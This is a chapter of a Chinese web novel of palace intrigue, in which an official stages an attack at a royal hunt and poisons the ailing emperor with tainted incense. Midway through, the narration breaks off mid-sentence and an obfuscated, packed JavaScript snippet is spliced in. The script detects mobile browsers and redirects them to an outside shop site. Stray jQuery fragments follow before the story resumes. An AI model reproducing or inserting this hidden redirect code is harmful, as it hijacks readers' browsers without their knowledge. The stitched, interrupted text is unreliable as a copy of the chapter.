58. 四肢百骸

作品:《在古代开戏本杀馆爆火了

    看着太子被狼狈押走,赵璇想这的确给所有人造了个死局。


    如果她顺从走入皇帝的安排中,即便成了朝堂公敌,皇帝也会暂且把她与河三庭保住。


    她静静看着微微晃动的帘布。


    ……


    去你的皇帝。


    一只火药箭从灰蒙蒙的白日中划过,在营地内所有人措不及防之时,点燃了边缘的第一个营帐。


    紧接着更多的箭袭来,如雨一般浇在营帐上,盛出烈火之花。


    皇帝从布帘里出来便看见火光四起的营帐,黑烟缭绕中,与之前那批贼人打扮如出一辙的蒙面刺客闯进来。


    这断不在计划里,刘太监满头大汗扶住惊惧的皇帝大喊护驾。


    皇帝:“朕的御前侍卫呢,还有徽定卫去哪儿了?”


    箭擦过他肩旁,射中了一个御前侍卫。


    “徽定卫去搜围猎场了。”不知谁说了一声。


    做戏自然要全套,皇帝前脚下令让徽定卫将围猎场细细搜查。


    营帐着火坍塌,所有人逃出来不敢躲在里头。


    聂婧鼎提着宫装奔来,“陛下,快派人救太子,太子手脚捆住了还在里面。”


    皇帝看了看四周,这点御前侍卫都不够护着他,于是当做没听见。


    谢渡安和二皇子与几个老臣护在皇帝身边。


    相比起二皇子周围有不少附庸挡住二皇子身形,谢渡安孤身一人,即使和这群人在一起,也有种格格不入的感觉。


    而结束呈供后本该在围猎场巡查的赵璇,正匍匐火光附近的一棵树上。


    手中的弓弦蓄势待发,眼中这幅簇拥的场景再眼熟不过。


    她先是对准了皇帝,然后慢慢移开。


    不是要让她像之前杀死礼部奸细那样好好表现吗?


    她当然会的。


    赵璇咬破唇瓣,血腥味溢满口腔,让她精神上的疲惫散去了几分。


    她看见谢渡安紧抿的唇,手中握着长剑,视线有一刻划过她这里。


    或许看见了,又或许没看见。


    充斥着不安的营帐内,谢渡安注视她带着一身晨间寒意走进来。


    待赵璇说完一切,谢渡安圈住她的腰,把头埋在她腹部,马鞍的铁锈土腥味从腰间薄甲内透出。


    谢渡安声音闷闷的:“我这次会表现的很好,而且我是最相信你的人。”


    赵璇一愣,她说出一切安抚与保证的话语,好像也没有必要了,她揉了揉谢渡安乌黑的发顶,轻轻嗯了一声。


    林间口哨声响起,无数支箭朝着皇帝而去,御前侍卫熟练的举盾躲避。


    而紧绷的弦慢半拍松开,落后的箭矢朝着谢渡安而去。


    箭射穿谢渡安左边肩膀。


    在皇帝与二皇子等人错愕的目光下,谢渡安被飞来的力道逼得踉跄两步,靠坐在身后的草垛旁痛呼出声。


    确认没射偏后,赵璇下树进入围猎场一角,解开拴住的马一跃而上,动作行云流水往营地方向而去。


    营地内,聂婧鼎扶着奄奄一息的太子出来,神情慌乱,“御医何在?”


    御医当然也在逃命,救不了远处的太子。


    就在这危急时刻,窦百夫长领着徽定卫从围猎场回来,让在场所有人松了口气。


    毕竟御前侍卫重中之重是保全陛下,一旦出了事没有其它兵力,剩下的人就得自求多福。


    有了这些手持重刃的徽定卫卫兵,刺客手中的远弓近剑失了作用,往围猎场内四散而去。


    这些刺客进入围猎场后,竟如鬼魅般消失的无影无踪。


    皇帝咳的撕心裂肺,营地焚烧后漂浮的烟灰让咳疾愈发严重,他眼里露出一丝阴狠,暴露出多疑的性情。


    “把京城剩下的护卫调来,就算把围猎场西南角的山翻过来也要把刺客找出。”


    他怎能容忍身侧真有谋反的势力伏在暗处蠢蠢欲动。


    聂婧鼎神情痛苦地盯着太医为受伤的太子包扎,太子嘴唇失了血色,“是我没用,到头来还要拖累你为我劳神。”


    聂婧鼎那只握过刺进谢任仟身体的刀的手微微发抖,对方却紧紧回握着她的手。


    二人挨得极近,彼此耳语,聂婧鼎几乎俯身趴在榻边,“夫妻一体,你就算是平头百姓我也同你在一起,只怕人不放过你我。”


    谢任仟下意识轻抚着她的指骨安慰。


    聂婧鼎却抽出了手,反握住他的手,“你受了伤,我断不会让此事简单了结。”


    比起自己这个太子优柔寡断,身为太子妃的聂婧鼎更为果决。


    甚至在赵璇因为无法单独见到营帐内议事的太子,而找到她时,聂婧鼎思考不过片刻便答应下与赵璇合作。


    *


    这次皇后劝动了皇帝提前结束春猎返回皇宫。


    她身边的侍女使唤着宫人收拾物件,皇后搀扶着皇帝坐在榻旁,要从刘太监手里端过来药。


    皇帝制止住她的动作,亲手端来一饮而尽。


    一杯茶从皇后手里递过去,皇帝摆手说不用。


    侍者从外面进来说太子妃要见陛下。


    被病魔缠上的脑子迟缓转动一会儿,皇帝想起来太子妃聂氏是聂常东的小女儿。


    聂婧鼎进来后径直朝帝后跪下,把皇后惊到,连忙去扶聂婧鼎。


    “你是太子妃,是聂老的女儿,怎能随意下跪。”


    皇后要聂婧鼎起来,聂婧鼎非但没起来,反而朝帝后磕了个头,“儿媳来不为别的,只为给任仟讨个公道。


    谋反之事并非太子策划,是有心之人陷害太子,要离间陛下与太子感情,后见事情败露便干脆与大晋鱼死网破,企图残害皇室子嗣。”


    皇帝按压眉头,眼皮阖着似乎在闭眼养神,聂婧鼎却感觉到一股的阴厉视线注视着她。


    “两拨刺客是同一主使?”皇帝听出她话里意思,“那会是谁呢?”


    聂婧鼎将早就准备好的话术说出:“儿媳怀疑是前朝余孽与道家势力联手,道人对遁迹潜形擅长,大晋初年就有过道人藏匿前朝血脉一事。


    若刺客是道人所扮,消失在围猎场便说得过去了。”


    聂婧鼎微顿,见皇帝不说话,继续道:“这只是猜测,正在让儿媳确信是道人刺杀的原因,是今早去救太子时,意外抓住一个外人。”


    外人,那便不是刺客,也不是安排进春猎的人。


    皇帝张开眼,心里把可能的人盘了一遍。


    “这人是从甘州蒙林来参加春闱的举人,名叫张往,自述同年的童姓考生剽窃他的考卷取得功名。”聂婧鼎道。


    这能与刺杀一事有什么关系。


    御前侍卫把张往带进来,皇帝一看,才十五六岁的样子。


    张往偷偷瞥了眼聂婧鼎,女子并不看自己,他只好给自己打气,声音颇为洪亮像是豁出去一般。


    “举人张某参见陛下。”


    皇帝:“你捡重要的说。”


    张往:“我发现卷子被剽窃后,去京内各官衙报官,回话的人皆说这是甘州的案子京内官衙不接,我又不想来回甘州与京城之间耽误春闱。


    走投无路之际,有人找上门说能让我面见天颜。”


    “他们让我签下投名状。”


    皇帝蹙眉:“投名状?”


    张往点头,想着赵璇嘱咐给他的台词:“说要呈到陛下面前,以显我之决心。但我留了个心,因为他们那儿不止一份投名状。”


    话说到这,皇帝心中有了几分猜测。


    “我偷偷看了。”张往神情纠结起来,似乎是不知该不该说出来。


    皇帝:“这儿没有外人,你说罢。”


    张往:“里头是不同地方的流民、劳工以及一些读书人的投名状,内容不一…皆是对陛下诋毁之词。”


    闻言,皇帝面色铁青。


    要反他这个皇帝的投名状还能写什么内


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032015|191256||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容——大兴土木、压迫流民、各州登科录取的数额有偏袒…


    除了道家势力,还能有谁搜齐各州的投名状。


    舞弊一事更是危险,一旦处理不好,天下读书人失去对朝廷与大晋的信任。


    “这几年天灾不断,朝中也事多,朕也难两全。”皇帝也不知对谁说了句。


    张往还记得要圆谎,“我觉得这些人另有图谋,便想去报官,没曾想他们怕我逃掉,直接把我捆来围猎场。”


    谎话说完了,聂婧鼎让张往出去。


    “陛下,太子是您看着的,他再如何起坏心也不可能与前朝和道人势力有牵连。”聂婧鼎言辞恳切,“朝堂和地方并非铜墙铁壁,百余年间,足以让道家往大晋四肢百骸塞入细作。”


    本就觉得道家和前朝势力潜伏在大晋从未消亡,如今太子妃一提,皇帝心里这种预感更甚。


    第一次刺杀是他安排的戏码,太子却没如预期那般,而是意外从中摆脱出来,他不太高兴。


    但此时第二次刺杀的根源已占据他全部心神,反正外戚已然受挫,他也不在意太子那边。


    再者假谋反哪里能比真正要谋反的人更令他忌惮,一想到朝堂中有前朝细作,他浑身如被蚂蚁啃噬般难受。


    这个细作一定知道他在围猎场的安排。


    赵璇?不可能,她一开始就不清楚这件事,即便做出正确的选择,也绝不可能猜得到那么多。


    就算猜到也没那么大能力做到后面刺杀的事,更没有刺杀的理由,他给她安排的可是被堵死的路。


    司天监孟竣、大理寺少卿钱文磬、御前侍卫首领段胡飞、刘太监那帮人…


    还是太丞殿的侍者们,又或是死士出了问题。


    皇帝把知道围猎场安排的人想了个遍,疑心愈发重了,觉得每个人看起来忠诚,但又都好像是那个细作。


    回程的路有些颠簸,皇帝在翠撵之中,他在赵璇与段胡飞中选了前者。


    毕竟在他眼里,赵璇完成了他预计实现的所有事,只不过后面出了其它意外。


    即使赵璇要求陪同在受伤的谢渡安身边,但他的命最大,赵璇拒绝不了。


    而段胡飞已经在他怀疑的名册中了。


    赵璇骑着一匹枣红的骏马,就在轿撵外离皇帝很近,她能听见皇帝咳嗽与沉重的喘气声。


    回程前聂婧鼎同她道谢,话里话外希望赵璇能支持太子。


    太子妃绝对是太子身后最得力的“幕僚”,名门望族出身,处事有章法又利落。


    如果没有聂婧鼎和聂家,太子早在被削了势力时让二皇子踩死八百回了。


    选了这样的太子府,也能看出多年前皇帝对太子抱有很大期许。


    只是人的想法会变,而她赵璇也的确没有帮扶太子上位的意思。


    皇帝留着河三庭是要让她当刀刃,斩去一切集中皇权、拓展疆土的阻碍。


    太子上位的话,多半是守成,断不会留着她与河三庭。


    她现在得罪的人够多了,要是从河三庭跌下来,跳出来要她死的人能从宫内排到京郊。


    河三庭给皇帝干的私活可不止百来件。


    刘太监掀开帘子,与赵璇对视上,赵璇冲他礼貌一笑。


    心中一颤,刘太监低眉顺眼将宫人手中的香炉接过来。


    路过飞麟塘,赵璇心想该起效果了,开始跟着身下马蹄的步伐数一二三。


    数到四十四时,翠撵里传来皇帝撕心裂肺的咳嗽声。


    刘太监紧跟着惊慌失措大喊:“快叫太医,陛下咳血了。”


    赵璇轻轻拈了手指上的粉末。


    这皇帝年纪上来了,怎么能不好好保养心肺。


    又是火场烟尘又是伤肺的药剂,还有加了料的熏香,如何受得住。


    皱巴的手从轿撵里突然朝她伸出来,赵璇轻佻挑眉,听见皇帝在喊她的名字。


    像在溺水前抓住最后的浮木。